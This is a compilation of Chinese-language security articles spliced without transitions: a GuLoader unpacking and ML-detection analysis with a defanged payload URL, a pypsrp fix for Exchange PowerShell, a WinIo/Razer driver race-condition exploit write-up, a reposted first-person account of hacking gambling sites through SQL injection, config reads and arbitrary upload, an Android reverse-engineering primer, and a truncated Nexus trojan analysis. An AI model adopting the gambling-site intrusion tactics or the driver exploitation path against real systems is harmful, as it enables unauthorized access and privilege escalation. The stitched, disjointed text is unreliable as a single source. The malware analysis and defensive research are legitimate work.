由於大數據算法可以檢測機器和人類用戶的異常行為,因此它們被廣泛用於檢測和預測內部威脅。與入侵檢測系統類似,內部威脅檢測系統基於識別合法和威脅行為的特徵。

有多種基於機器學習的分類和聚類算法,包括有監督和無監督的,有助於檢測內部威脅。此外,您還可以根據數據挖掘原理訓練深度神經網絡,以檢查網絡安全日誌並實時檢測可能的內部活動。

結論可靠、相關且結構良好的數據是幾乎所有網絡安全解決方案的基礎。雖然組織每天都會生成大量數據,但手動收集和處理所有這些數據以應對網絡安全威脅是不可能的。

數據挖掘技術可以幫助您識別任何惡意活動的特徵,甚至可以預測可能的攻擊。它們在收集威脅情報和檢測惡意軟件、入侵、欺詐和內部攻擊方面特別有效。通過數據挖掘增強保護的主要好處是能夠識別已知攻擊和零日攻擊。

Unit 42研究人員討論了基於虛擬機監控程序的沙盒中基於內存的工件構建的機器學習渠道,該沙盒是Advanced WildFire的一部分。可以提高對惡意軟件的檢測精度。

正如我們以前所介紹的,惡意軟件開發者正在不斷完善他們的攻擊手段,以使靜態分析和沙盒等策略失效。封裝方法和沙盒逃避等技術的不斷發展讓防御者防不勝防。

更糟糕的是,流行的檢測技術,如結構分析、靜態簽名和許多類型的動態分析,並不能很好地應對目前越來越複雜的攻擊。

惡意軟件開發者越來越多地採用逃避技術,如混淆、封裝和在進程內存中執行動態注入的shellcode。使用來自文件結構的線索進行惡意軟件檢測可能並不總是成功的。封裝技術可以充分修改文件結構以消除這些線索。因此,僅在這類特徵上訓練的機器學習模型將無法有效地檢測出此類樣本。

這種檢測方法的另一種流行的替代方法是使用機器學習模型,該模型基於惡意軟件在沙盒內的執行痕跡來預測惡意行為。然而,正如我們原來所詳細介紹的那樣,沙盒逃避非常普遍,有效負載通常會根據任何數量的線索選擇不執行,這些線索會指向正在模擬的樣本。

惡意軟件也可能會無意或有意地破壞沙盒環境,覆蓋日誌文件,或由於其所使用的低級技巧而阻止成功分析。這意味著,在執行日誌上訓練機器學習模型也不足以捕捉這些逃避類的惡意軟件。

使用NSIS Crypter加密的GuLoader惡意軟件在這篇文章中,我們將分析一個使用Nullsoft Scriptable Install System(NSIS)加密器加密的GuLoader下載器。 NSIS是一個用於創建Windows安裝程序的開源系統。

Hashcc6860e4ee37795693ac0ffe0516a63b9e29afe9af0bd859796f8ebaac5b6a8c

為什麼靜態分析沒有幫助GuLoader惡意軟件是加密的,它也是通過NSIS安裝文件傳遞的,這對於靜態分析來說並不理想,因為必須首先解壓縮文件內容。一旦它被解壓縮,我們仍然有加密的數據和一個NSIS腳本。腳本本身也會動態地解密代碼的某些部分,這是使其難以檢測的另一個因素。

然而,沒有太多的結構線索可以識別這可能是惡意軟件。因此,在可移植可執行文件(PE)結構上訓練的機器學習模型將不能有效地將該文件與其他良性文件區分開來。

NSIS腳本和提取GuLoadershellcode要提取NSIS腳本,我們必須使用7-Zip的舊版本15.05。這個版本的7-Zip能夠解包腳本,而新版本已經刪除了解包NSIS腳本的功能。一旦我們提取了文件內容和NSIS腳本(如圖1所示),我們就可以開始分析腳本並查看GuLoader示例是如何執行的。

2.png

NSIS腳本

如果向下滾動腳本,我們會很快注意到文件正在復製到新創建的名為%APPDATA%\Farvelade\Skaermfeltet的文件夾中。雖然不清楚原因,但所使用的文件路徑似乎是丹麥語。在復制活動之後,腳本中有常規的安裝邏輯,但是有一個名為func_30的有趣函數。

在此函數被調用之前,字符串$INSTDIR\Filterposerne\Malkekvg. exeNat被複製到名為$4的字符串變量中,如圖2和圖3所示。函數func_30從Programmeludviklinger210中讀取數據。 Kon文件並構建代碼,它將在字符Z被看到後立即調用這些代碼。

NSIS允許開發人員能夠從Windows DLL調用任何導出的函數,並且還允許他們將結果直接保存在NSIS寄存器/堆棧中。此功能允許惡意軟件開發者在運行時動態調用Windows API函數,並使靜態分析更加困難,因為在分析之前必須對其進行評估。

3.png

調用函數func_30

4.png

解碼NSIS代碼

要解碼動態代碼,我們可以編寫一個簡短的Python腳本,該腳本再現行為並提取Windows API調用:

5.png

下圖顯示了上述腳本產生的解碼數據

6.png

解碼的Windows API調用

解碼後的函數一起從NSIS壓縮文件中的另一個文件中讀取shellcode,並使用EnumWindows函數執行它。如果我們必須用偽代碼編寫這個過程,它看起來應該是這樣的:

7.png

為了使其餘的分析更容易,我們將使用shellcode生成一個PE。為了生成可執行文件,我們可以使用Cerbero Profiler或LIEF Python庫等工具。

在本例中,我們使用了LIEF庫來構建一個新的可執行文件。我們所要做的就是添加一個包含Malkekvg.Nat文件內容的新部分,並將入口點設置為正確的偏移量。一旦我們得到了這些,就應該能夠在IDAPro中打開shellcode,並看到它包含有效的x86指令。

8.png

8.2.png

在IDA Pro的入口點生成PE文件

Shellcode分析現在我們在PE文件中有了Shellcode的第一階段,我們可以在動態分析中運行它,看看會發生什麼。我們將看到的第一件事是它檢測到虛擬機,並在顯示消息框後停止執行。此文本在運行時使用4字節XOR密鑰解密。

9.png

無法在虛擬環境中執行該示例

如果我們在IDA Pro中打開文件並稍微遵循代碼,就應該能夠看到用於解密第一階段的大函數。雖然函數圖概述看起來很大,但識別垃圾代碼仍然很容易。

進行解密的代碼如下圖所示。在下圖中,我們可以看到跳轉到第二階段的最終調用。此時,我們可以將第二階段轉儲到另一個可執行文件中進行解密。

我們可以直接從內存中轉儲可執行文件,但是必須確保將入口點修補到正確的地址(在本例中為0x404328)。

10.png

第一階段的Shellcode解密

11.png

調用到下一階段

第二階段使用了許多反分析技術,其中的一些反分析技術為:

內存掃描已知沙盒字符串;

虛擬機監控程序檢查;

時間測量;

為了獲得GuLoader正在下載的最終負載,我們必須手動繞過所有這些檢查,在不受所有這些技術影響的沙盒中運行它,或者在裸金屬沙盒上運行它。

提取有效負載信息為了在不分析第二階段的情況下獲得有效負載信息(包括所有字符串),我們可以使用Spamhaus描述的一個小技巧。 GuLoader使用簡單的XOR加密來加密其字符串,其中包括有效負載URL。

要解密字符串,我們可以對已經知道存在於第二階段中的模式使用暴力。 XOR運算的結果就密鑰。對此的唯一限制是模式必須足夠大,以便我們能夠完全解密有效負載URL。例如,一個好的模式可能是用戶代理字符串,默認設置為Mozilla/5.0(Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) ,如Gecko。

為了快速自動找到解密密鑰,我們必須首先加密一個短模式(例如,用戶代理字符串的前8個字節),然後搜索該結果是否在文件中的某個位置。如果它在文件中的某個位置,那麼我們可以繼續解密剩餘的模式以獲得完整的加密密鑰。

我們會在本文的最後附上Python腳本,該腳本能夠通過上述方法從有效負載中找到加密密鑰。在任何轉儲的第二階段GuLoader負載上運行腳本後,我們應該能夠看到一些字符串和負載URL。

GuLoader有時在有效負載URL前麵包含7到8個隨機字符,它在運行時將其替換為http://或https://。使用http還是https的區別是由隨機模式中的第四個字符決定的。

12.png

在此示例中,有效負載URL為http://ozd[.]com[.]ar/wp-includes/nHMoYlbGLWls101.qxd,並且在分析時有效載荷仍然在線。

最終下載的有效負載來自FormBook惡意軟件家族,其SHA256值為fa0b6404535c2b3953e2b571608729d15fb78435949037f13f05d1f5c1758173。

機器學習如何檢測?在之前的一篇文章中,我們詳細介紹了在實時沙盒運行期間可以從內存中提取的幾種可觀察工件。我們發現,當與機器學習結合使用多種逃避技術檢測惡意軟件時,來自內存分析的數據是非常強大的。

接下來我們回仔細觀察所有這些關於運行時內存中被修改的內容,並將它們與大規模的機器學習相結合,用於惡意軟件檢測。該算法可以自動找到模式,並且可以識別惡意軟件試圖在內存中隱藏其足跡、動態分配和執行shellcode或使用解包的共性。

在這個GuLoader示例中,人類分析人員會立即識別出有幾個獨特的函數指針。我們還會注意到,惡意軟件已經將其自身進程內存中的多個頁面的頁面權限更改為可寫和可執行。我們的機器學習模型能夠自動執行這些活動,從各種內存構件中提取有關特徵來檢測GuLoader示例。

如上所述,我們為Advanced WildFire創建的自動分析平台將以一種高性能的方式自動提取所有這些基於內存的工件。這意味著所有與動態解析函數指針、權限更改和解包可執行文件相關的信息都可以在我們手動管理的檢測邏輯中使用,也可以用於我們的機器學習渠道。

使用機器學習模式的檢測下圖顯示了我們如何創建一個機器學習模型渠道的高級視圖,該模型渠道是根據從上述基於內存的工件中提取的自定義特徵進行訓練的。我們選擇的特性被設計成保留來自冗長工件的最有用的信息。

我們還將惡意軟件執行跟踪作為額外的信息源,並構建了一個集成模型來檢測惡意樣本。如下圖所示,從四個內存工件和惡意軟件執行痕跡中自動提取各種自定義特徵,並將它們傳遞給一個分類模型以檢測惡意樣本。此外,我們還構建了一個集成模型,該模型基於內存工件和基於執行跟踪的特性進行訓練,以提高其性能。

13.png

機器學習模型架構

文件樣本由流程渠道處理,以將內存工件和其他惡意軟件屬性保存到功能存儲中。特徵提取階段使用流式處理和批處理PySpark作業的組合來生成用於訓練模型的最終特徵向量。

ground truth標籤來自一個單獨的渠道,該渠道根據惡意軟件特徵和研究人員輸入為樣本分配標籤。該渠道通過使用樣本首次出現的時間和哈希來生成非重疊的訓練和評估數據集。

解釋模型預測為了識別模型的局限性和能力,理解機器學習模型的預測是至關重要的。機器學習很容易出現誤報,因為它嚴重依賴於訓練數據的質量和多樣性,以及對不斷變化的文件進行預測的泛化能力。因此,具有識別預測的因果特徵的能力是非常有用的。

Shapley值Shapley加法解釋(SHAP)是一種博弈論方法,用於解釋任何機器學習模型的輸出。與基線預測相比,SHAP值解釋了每個特徵對輸入特徵向量的實際預測的影響。在下圖中,從右到左的紅色特徵是將模型推向惡意預測的最頂層特徵。從左到右,藍色的特徵表示降低預測為惡意軟件概率的最頂層特徵。

15.png

如上圖所示,我們繪製了具有重要SHAP值的前七個特徵及其相應原始特徵值的力圖。由於這些頂級特徵的存在,我們的機器學習模型能夠檢測到GuLoader。這些特性對應於幾個特定的動態解析API指針及其在內存中的相對位置,以及樣本所做的內存頁權限更改的相對類型。

通過聚類尋找相似樣本另一種理解模型預測的方法是在訓練數據集中識別相似的樣本。我們使用基於密度的掃描(DBScan)作為聚類技術,如下圖所示,因為它允許異常值和不同形狀的聚類。

16.png

基於DBSCAN的集群

總結GuLoader家族是unit42開發的機器學習模型檢測惡意軟件的一個很好的示例,因為GuLoader使用沙盒逃避和靜態防護,使得傳統防禦很難單獨使用結構線索和執行日誌進行檢測。

在Advanced WildFire中,開發人員引入了一個基於虛擬機監控程序的沙盒,它可以在執行期間暗中觀察GuLoader的內存,以解析有意義的內存駐留工件和對機器學習檢測渠道有用的信息。這允許安全防護人員使用從觀察到的基於內存的工件中提取的特徵來準確地檢測惡意行為。

0x00 前言pypsrp是用於PowerShell遠程協議(PSRP)服務的Python客戶端。我在研究過程中,發現在Exchange Powershell下存在一些輸出的問題,本文將要介紹研究過程,給出解決方法。

0x01 簡介Exchange PowerShell Remoting

pypsrp的使用

pypsrp存在的輸出問題

解決方法

0x02 Exchange PowerShell Remoting參考資料:

https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps

默認設置下,需要注意以下問題:

所有域用戶都可以連接Exchange PowerShell

需要在域內主機上發起連接

連接地址需要使用FQDN,不支持IP

通過Powershell連接Exchange PowerShell的命令示例:

1.png通過pypsrp連接Exchange PowerShell的命令示例:

2.png如果想要加入調試信息,可以添加以下代碼:

WX20221201-104743@2x.png

0x03 pypsrp存在的輸出問題我們在Exchange PowerShell下執行命令的完整返回結果如下圖

4.png但是通過pypsrp連接Exchange PowerShell執行命令時,輸出結果不完整,無法獲得命令的完整信息,如下圖

5.png

0x04 解決方法1.定位問題

通過查看源碼,定位到代碼位置:https://github.com/jborean93/pypsrp/blob/704f6cc49c8334f71b12ce10673964f037656782/src/pypsrp/messages.py#L207

我們可以在這裡添加輸出message_data的代碼,代碼示例:

6.png返回結果:

10.png 11.png 12.png 13.png在調用serializer.deserialize(message_data)提取輸出結果時,這裡只提取到了一組數據,忽略了完整的結果

經過簡單的分析,發現標籤內包含完整的輸出結果,所以這裡可先通過字符串截取提取出標籤內的數據,示例代碼:

15.png進一步分析提取出來的數據,發現每個標籤分別對應一項屬性,為了提高效率,這裡使用xml.dom.minidom解析成xml格式並提取元素,示例代碼:

16.png經測試,以上代碼能夠輸出完整的結果

按照pypsrp的代碼格式,得出優化pypsrp輸出結果的代碼:

17.png使用修改過的pypsrp連接Exchange PowerShell執行命令時,能夠返回完整的輸出結果,如下圖

18.png

經測試,在測試ProxyShell的過程中,使用修改過的pypsrp也能得到完整的輸出結果

補充:

如果使用原始版本pypsrp測試ProxyShell,可通過解析代理的返回結果實現,其中需要注意的是在作Base64解密時,由於存在不可見字符,無法使用.decode('utf-8')解碼,可以換用.decode('ISO-8859-1'),還需要考慮數據被分段的問題,實現的示例代碼如下:

19.png0x05 小結本文介紹了通過pypsrp連接Exchange PowerShell執行命令返回完整輸出結果的解決方法。

研究人員在OEM廠商的外圍設備中發現了多個漏洞,這影響了這些OEM廠商(Razer、EVGA、MSI、AMI)的許多用戶。這些漏洞源於一個眾所周知的易受攻擊的驅動程序,通常被稱為WinIO/WinRing0。

本文會重點介紹一個有趣的TOCTOU漏洞案例(CVE-2022-25637),以及其他一些漏洞。

眾所周知,MSI開發了一個名為MSI Dragon Center的便捷工具,其目的是檢索有關計算機統計信息(即GPU/CPU使用情況)並控制硬件相關設置。

不過從實際反饋來看,它運行得併不好,出現了許多UI問題並且加載時間慢。有研究人員在調整MSI電腦上風扇的速度時,無疑發現了其中的問題,很可能是MSI使用了內核驅動程序。本文的作者檢查證實了MSI使用內核驅動程序來執行Dragon Center提供的一些功能,即風扇控制功能是通過WMI對像或供應商特定的API(如NvAPI_GPU_SetCoolerLevels)完成的,並沒有在Dragon Center代碼中實現。此外,Dragon Center加載了一個名為WinIO的驅動程序,這顯然與風扇控制的邏輯無關。綜合上述事件,我開始研究WinIo驅動程序,因為它可能會構成一個有趣的攻擊面。

WinIO是由www.internals.com開發的著名內核驅動程序(該網站已不再在線,但可以通過archive.org訪問)。 WinIO驅動程序庫允許32位和64位Windows用戶模式進程直接訪問I/O端口、MSR寄存器和物理內存,它已被許多供應商廣泛使用。由於它具有強大的功能,因此責任重大,驅動程序應該只允許特權用戶使用這些功能。

然而,在WinIo中,情況有所不同,任何用戶都可以與之交互,包括沙盒應用程序。 WinIo可以簡單地在設備對像上設置一個安全描述符,以避免低權限用戶與其交互,如下面的代碼片段所示。

1.png

將SDDL應用於設備對象

我在我的設備上發現的WinIo版本是驅動程序的早期版本(我們懷疑它是WinIo 2.0版),即使是最簡單的漏洞也極易對其發起攻擊,一個簡單的DeviceIoControl請求可能會破壞堆棧。通過使用具有IOCTL代碼0x80102040的DeviceIoControl發送I/O請求,研究人員得到了一個memmove方法。

2.png

WinIo調度函數:易受攻擊的memmove/memcpy

此memmove缺少任何參數檢查。更準確地說,它屬於控制長度參數,該參數源自SystemBuffer。因此,通過指定大於IOPM本地變量長度的長度,我們可以很容易地破壞堆棧。因此,我們可以重寫本地堆棧數據,這是一個經典的緩衝區溢出場景,它可以導致重寫調用方的返回指針,再加上使用ROP鏈,最終導致權限升級。

然而,存在另一個漏洞,即通過物理內存映射的權限升級,這允許我們擁有一個強大的R/W原語。

3.png

WinIO中的任意內存R/W函數

此時,會出現一個問題,這個代碼庫是否可以用於其他地方\驅動程序?

尋找其他易受攻擊的程序我們在VirusTotal中編寫了一個相對簡單的查詢,並找到了114個潛在驅動程序的匹配項,這些潛在驅動程序可能與我們的脆弱驅動程序共享相同的代碼庫。

通過快速瀏覽一些驅動程序的逆向代碼,許多供應商似乎使用了WinIo驅動程序的相同易受攻擊的代碼庫。

其中Razer Synapse Service.sys特別引起了我的注意。

4.webp.jpg

Razer Synapse Servicesys VirusTotal結果

三個異常的Razer Synapse研究人員的設備上安裝的是Razer Synapse,RazerSynapse(雷蛇雲驅動)是款雲端軟件,配合Razer的鍵鼠使用,可以把遊戲配置文件、宏,已經鼠標等的設置參數同步到雲端。 Razer Synapse加載了一些驅動程序,其中之一是Razer Synape服務。 sys–具有不同名稱的WinIo驅動程序。通常,當加載WinIo驅動程序時,不會對設備對象設置安全限制。然而,在這種情況下,它有一個限制性的安全描述符。

5.webp.jpg

應用於Razer驅動程序的SDDL

此時,通常應該放棄此驅動程序,即使它是錯誤的,因為為了與此驅動程序交互,你需要具有高權限,這意味著你已經可以執行特權操作。

在Windows中,如果你以admin+的身份開始,那麼讓驅動程序做一些異常的操作並不會被視為是不安全的事情。由於驅動程序沒有設置安全描述符,所以這一定是在其他地方完成的。

根據MSDN的描述:“設備對象的安全性可以由放置在INF文件中或傳遞給IoCreateDeviceSecure的SDDL字符串指定。”

現在,我們應該仔細分析一下INF文件,但令人驚訝的是,並沒有INF文件!

不得不說這是一個很奇怪的情況,我們懷疑Razer Synapse Service.exe將SDDL設置為驅動程序創建的設備對象。為此,我們監控了Procmon中的系統,並註意到該程序負責加載Razer Synapse Service.sys驅動程序。

6.webp.jpg

準備安裝“Razer Synapse Service.sys”

我們需要對Razer Synapse Service.exe進行逆向工程,以了解它在何處應用安全描述符。幸運的是,它是用C#編寫的,這將使我們的逆向工程工作更容易,因為我們可以使用reflector。

通過遍歷模塊列表,找出哪個模塊負責加載內核驅動程序。我們將不同的模塊反編譯回C#(我們使用了DnSpy),然後繼續查找與服務控制管理器(SC管理器)進行的任何通信。我們發現負責此事的模塊是LibreHardwareMonitorLib(開源)。

如果我們仔細觀察代碼,就會發現一些奇怪的東西。

7.webp.jpg

我們可以看到,在第11-14行中,服務嘗試打開驅動程序創建的設備對象的句柄,然後為其設置新的安全描述符。我的意思是,他們在用戶模式下使用了正確的方法,但他們一開始就不應該在用戶模式空間中這樣做。

如上所述,應用SDDL應該在內核中完成,並在設備創建時完成。事實上,它沒有在內核空間中發生,這導致設備對象持有一個默認的安全描述符,該描述符允許低權限用戶與設備對象交互。

這是檢查使用時間漏洞的典型案例。如果我們能夠利用這個短時間段獲取設備對象的句柄,那麼我們就可以濫用WinIo的漏洞。

漏洞利用“Razer Synapse Service”配置為自動啟動。因此,我們不能從低權限用戶的角度隨意重新啟動它。要利用該漏洞,就是要在不重新啟動服務的情況下重新創建競爭條件(race condition)。

事實證明,使用synapse3提供的更新機制,觸發這種情況相對容易。每當安裝新更新或新插件時,Razer Synapse Service將重新啟動。

重新啟動過程包括卸載WinIo驅動程序,然後重新加載。因此,允許我們觸發競爭條件。這是通過安裝一個新模塊來完成的,這一操作不需要特權,因為Synsapse3支持Alexa、Chroma Connect、Chroma Studio、Philips HUE等模塊。

8.webp.jpg

模塊列表Synapse 3

如果我們選擇安裝其中一個模塊,synapse3進程將通過命名管道向Razer Central Service發送命令,以安裝所選模塊。

RazerCentralService.exe啟動模塊安裝,包括停止和啟動RazerSynapse服務,從而卸載和加載驅動程序。為此,我們創建了一個POC,該POC完成了整個過程,在POC觸發模塊安裝期間,一個無限的while循環嘗試使用CreateFile API打開設備對象的句柄。我們設法在安全描述符更改之前打開了設備的句柄,換句話說,我們贏得了競爭。此時,服務更改安全描述符並不重要,因為我們擁有設備對象的有效句柄。

現在我們可以自由地與設備對象交互,可以利用WinIo的一些漏洞。在本文的POC中,我們利用了MSR R/W原語。寫入MSR原語允許我們重寫IA32_LSTAR MSR。這個特定的MSR保存著指向處理系統調用的內核函數的指針(KiSystemCall64Shadow)。通過重寫函數指針,我們可以實現任意的內核代碼執行。

根據@_xeroxz的經驗,我們使用稱為msrexec的工具輕鬆地開發了MSR寫入原語漏洞。

總結這項研究是我們修設備風扇時無意中發現的一個漏洞,通過利用一個很酷的競爭條件,導致在內核中運行代碼。

做了不少qp(棋牌),BC渗透了,通宵了2个晚上干了几个盘子,简略的说下过程,做一下总结。
首先说一下qp, 以我的渗透成功案例来说的话首先信息收集必不可少的,qp的特点是什么呢?
他的后台会在服务器域名的后面以不同的端口形式架设 如图:

图片

关于端口可以发现,基础东西你们都懂。
切入点:

在app里面抓包,查找邮箱,充值,的地方寻找sql注入或者意见反馈的位置XSS
有一种情况是抓包显示127.0.0.1的 抓不到包的情况,这种情况多于大盘子,它不一定走的是TCP UDP协议。可以参考 T-ice 表哥说的 Proxifier全局代理
有了后台之后可以目录fuzz一下,有些管理员会有备份的习惯没准能有新发现。
相对来说qp还是挺简单的。  

那么来说说BC吧,看个昨晚的渗透的案例。

图片

基本上大型的BC盘子都是各种防护+cdn 标配,毕竟别人赚了那么多钱也不在乎这点设备钱。。。。

图片

图片

注册了个号 发现没地方能打XSS的。。。。。作罢
因为这种大盘子服务一般是挺到位的,牌面这块方方面面给你整的很高大上,什么导航啊,什么积分商城啊。。

乱七八糟的应有具有,在他主站一个VIP查询页面确定了一处sql注入,而且是thinkphp的框架

图片

图片

图片

thinkphp3.2.3的 ,因为有CDN不知道真实IP,所以后台是个很麻烦的事情,本想着看看数据库里面的log有没有啥发现

图片

图片

没啥鸟用。。尝试读取日志文件,没有。

图片

最后读取配置文件确定了一个很脑残的事情。。。

可能通宵了之后人的脑子有点僵。

我给忘了这种BC后台肯定都是分离的。。。。嗨。少熬夜。
于是。。我就以以往的经验手动的在主域名前面加上了一些可能的参数。。admin.XXXX.com   agdw.xxxxx.com   ag.xxxxx.com   嗯。。。如图:

图片

这套程序的盘子大概100多个吧,几乎都是一模一样的,随便找了几个

图片

后台有个地方任意上传。结果。。

图片

被杀了还是咋回事。。
做个总结:
像这类盘子都是包网的,大多数都是java开发的。那么BC盘子的切入点是哪些呢
以我渗透成功的案例来总结:

1. XSS
2.注入
3.历史遗留的资产

主要还是信息收集,和耐心。

其实现在注入还是挺多的,只是很难发现和识别了。

同时还需要和各种防护对抗,有时候其实是个注入只是被防护拦了不确定的情况下很多人就放弃。

这种菠菜类的网站, 大多数服务器都是防范级别很高的, 都是包网 资产很多 而且前后端都是分离的 

有时候 ,没有思路的时候 可以从运维方面下手 ,有的运维安全意识不是很高 ,还可以从C段入手 ,因为有的菠菜资产分布在几个C段 主站上面 肯定很少漏洞, 基本上可以说没有  ,还有就是从游戏接口入手 或者游戏逻辑入手, 个人一点点粗见。

除过上述作者总结的几点,其他常见的切入点包括弱口令、代码审计。



转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486411&idx=1&sn=e5227a9f252f797bf170353d18222d6a&chksm=ce67a152f9102844551cf537356b85a6920abb084d5c6a26f7f8aea6870f51208782ac246ee2&scene=21#wechat_redirect


移動應用程序經常處理敏感數據,這是許多網絡犯罪分子的主要目標。在處理此類數據時,開發人員必須盡最大努力確保其受到保護。提高移動應用程序安全性的一種方法是執行移動應用程序滲透測試。

要找到應用程序代碼中的缺陷,開發人員至少需要逆向工程和滲透測試Android 應用程序方面的基本技能。在本文中,我們討論了攻擊者可能用來入侵您的應用程序的不同方法。我們還解釋了來自開放Web 應用程序安全項目(OWASP) 移動安全測試指南(MSTG) 的挑戰如何幫助您進行Android 應用程序的移動滲透測試,以及您可以使用哪些工具來解決這些問題。

在本文中,我們將討論如何滲透測試Android 應用程序以及使用哪些工具來提高移動應用程序的安全性。本文將對希望更多了解移動安全滲透測試服務並提高應用安全性的Android開發者有所幫助。

通過逆向工程加強應用程序的安全性Android 是一個對開發人員非常友好的操作系統(OS)。與其他移動操作系統不同,Android 是一個開源平台,您可以在該平台上激活開發人員選項和旁加載應用程序,而無需跳過太多步驟。此外,Android 允許開發人員在Android 開源項目中探索其源代碼,並根據需要修改操作系統功能。

但是,使用Android 應用程序也意味著您需要處理Java 字節碼和Java 本機代碼。一些開發人員可能認為這是一個缺點。 Android 開發人員使用Java Native Interface來提高應用程序性能、支持遺留代碼,當然,也會讓那些試圖查看其應用程序內部的人感到困惑。

在構建移動應用程序時,開發團隊的首要任務之一是確保高水平的數據安全性。開發人員應盡最大努力防止網絡犯罪分子獲取用戶的敏感信息。

有些人嘗試在第三方解決方案的幫助下提高其移動應用程序的安全性。但是,在使用第三方產品時,正確配置它們至關重要。配置錯誤或使用不當的解決方案將無濟於事,無論它多麼昂貴。

其他人則試圖將應用程序的功能和數據隱藏在本機層中。在某些情況下,他們構建Android 應用程序的方式是在本機層和運行時層之間跳轉執行。

也有開發人員使用更複雜的方法,例如逆向工程。在確保適當保護應用程序的敏感數據時,此技術非常有用。這就是為什麼開發人員最好至少具備一些逆向工程的基本技能:

解壓APK 文件

修補.smali 文件

修補.so 庫

使用調試工具

使用框架進行動態代碼分析

有了這些技能和專業知識,移動應用程序開發人員將有更好的機會檢測到可能被攻擊者利用的代碼缺陷。例如,為了侵入您的應用程序,黑客可能會使用質量保證(QA) 專家在測試應用程序的安全性和性能時使用的相同技術:

動態分析用於尋找在應用程序運行時操作應用程序數據的可能方法。例如,黑客可能會嘗試通過在登錄期間跳過多因素代碼檢查來破解您的應用程序。

靜態分析用於研究已經打包的應用程序並檢測代碼弱點,而無需直接訪問源代碼。通過靜態分析,我們不像在動態分析期間那樣查看應用程序在運行時的行為。例如,黑客可能會使用靜態分析來檢測弱加密算法的使用。要了解如何解決此類問題,請瀏覽我們關於Android 應用程序中的加密方法的文章。

開發人員有自己的方法來防止這些類型的代碼分析。例如,可以對源代碼進行模糊處理以防止其受到靜態分析:開發人員可以更改應用程序方法和類的名稱、添加對其他函數的調用以及加密代碼行。

注意:雖然代碼混淆有助於加強應用程序代碼以抵禦基於靜態分析的攻擊,但它也增加了引入新錯誤的風險。最好的逆向工程工具可以幫助您查看代碼是否已被混淆並確保對應用程序進行全面測試。

還有幾種方法可以保護移動應用程序免受動態代碼分析。特別是,開發人員可以:

阻止應用程序在有根設備上啟動

使用阻止應用程序以開發人員模式啟動並拒絕連接到動態分析框架(如Frida)的庫

應用額外的保護措施來防止重新打包和退出應用程序。

這些任務對於有經驗的逆向工程師來說很容易。經驗不足的開發人員在使用逆向工程技術滲透測試Android 應用程序之前可能需要一些練習。值得慶幸的是,OWASP為培訓和提高您的軟件逆向工程技能提供了許多挑戰。

在本文的後面,我們將針對兩個OWASP 移動安全測試指南CrackMe挑戰提供分步解決方案:UnCrackable App for Android Level 1和UnCrackable App for Android Level 2。解決這些挑戰將幫助您更好地了解如何改進移動應用程序的滲透測試並增強Android 解決方案的安全性。我們建議您在繼續閱讀之前嘗試自己解決它們。但首先,讓我們看一下對Android 應用程序進行逆向工程所需的工具和框架。

Android逆向工程的基本工具集在開始為Android 開發人員解決OWASP CrackMe 挑戰之前,您需要確保有兩件事:

了解Android 環境。您需要具有使用Java 和Linux 環境以及使用Android 內核的經驗。

正確的工具集。使用在Java 虛擬機(JVM) 上運行的字節碼和本機代碼需要特定的工具。

在本節中,我們列出並簡要描述了可用於解決OWASP CrackMe 挑戰和提升逆向工程技能的工具。

注意:出於本文的目的,我們僅選擇了免費或具有免費試用版的工具和框架。

Android Studio — Android 的官方集成開發環境(IDE)。這是構建原生Android 應用程序的主要IDE;它包括APK 分析器、代碼編輯器、可視化佈局編輯器等。特別是,我們將使用命令行Android 調試橋(adb) 工具。

Apktool — 這是一款流行的免費工具,用於對封閉的、第三方的和二進制的Android 應用程序進行逆向工程。它可以將Java 字節碼反彙編為.smali 格式,以及從APK 存檔中提取和反彙編資源。此外,您還可以使用Apktool 來修補和更改清單文件。

注意:應用程序代碼存儲在APK 文件中,其中包含帶有Dalvik 二進製字節碼的.dex 文件。 Dalvik 是一種Android 平台可以理解但人類完全無法讀取的數據格式。因此,為了讓開發人員能夠使用.dex 文件,需要將它們轉換為(和自)可讀格式,例如.smali。

Cutter — 一個開源跨平台框架,提供可定制、易於使用的逆向工程平台。該框架由radare2 提供支持,並得到大量專業逆向工程師社區的支持。

Hex Workshop Editor — 一套流行的Windows 十六進制開發工具。該工具集使編輯二進制數據幾乎與處理常規文本文檔一樣簡單。 Hex Workshop Editor 是商業軟件,但有免費試用版。

注意: Hex Workshop Editor 只能在Windows 上使用。如果您使用的是基於Linux 的虛擬機,則可以選擇任何Linux 十六進制編輯器。

dex2jar — 將字節碼從.dex 格式轉換為Java 類文件的免費工具。

JD-GUI — Java Decompiler 項目創建的工具之一。這個圖形實用程序使Java 源代碼可讀,將其顯示為Java 類文件。

Mobexler — 用於iOS 和Android 滲透測試的基於Elementary 的虛擬機。 Mobexler 附帶一組預安裝的工具和腳本,用於測試移動應用程序的安全性,包括此列表中的一些工具。

Java 調試器(jdb) — 用於調試Java 類的免費命令行工具。

注意:在Android應用中,調試可以分兩層進行:

马云惹不起马云 運行時層——Java 運行時調試可以在Java 調試有線協議(JDWP)的幫助下進行。

马云惹不起马云 Native 層——可以基於ptrace進行Linux/Unix 風格的調試。

JDWP 是一種標準調試協議,可幫助調試器與目標JVM 進行通信。所有流行的命令行工具和Java IDE 都支持此協議,包括Eclipse、JEB、IntelliJ,當然還有jbd。

JDWP 調試器允許您探索Java 代碼、在Java 方法中設置斷點以及檢查和修改局部變量和實例變量。它通常用於調試不會多次調用本機庫的常規Android 應用程序。

GNU 調試器(gdb) — 一種用於分析應用程序代碼的有用工具。

我們使用這些工具解決了Android 應用程序的兩個逆向工程挑戰。在下一節中,我們將為您提供基於標準OWASP 挑戰的基本Android 滲透測試教程。

概述2023 年3 月21 日晚上,鏈安與中睿天下聯合研發的監控系統檢測到一種新型安卓木馬。在經過睿士沙箱系統捕獲樣本之後,發現該安卓木馬極有可能是原安卓網銀盜號木馬SOVA 的變種。與此同時,意大利安全公司Cleafy 發布了一篇題為《Nexus:一个新的安卓僵尸网络?》 的報告,確認該病毒確實是SOVA 的變種,並將其重新命名為Nexus。

樣本分析樣本名稱:Chrome.apk

樣本SHA256 為: 376d13affcbfc5d5358d39aba16b814f711f2e81632059a4bce5af060e038ea4

樣本文件大小:4792032KB

主要行為列表刪除指定應用以其應用數據

安裝並啟動任意應用

隱藏自身應用圖標

卸載保護

上傳用戶短信數據以及通訊錄

使用SmsManager 發送短信、 刪除短信、取消短信通知

撥打電話

獲取用戶cookie 信息並上傳,注入cookie 等

讀取並上傳數字錢包信息

記錄並上傳鍵盤輸入記錄

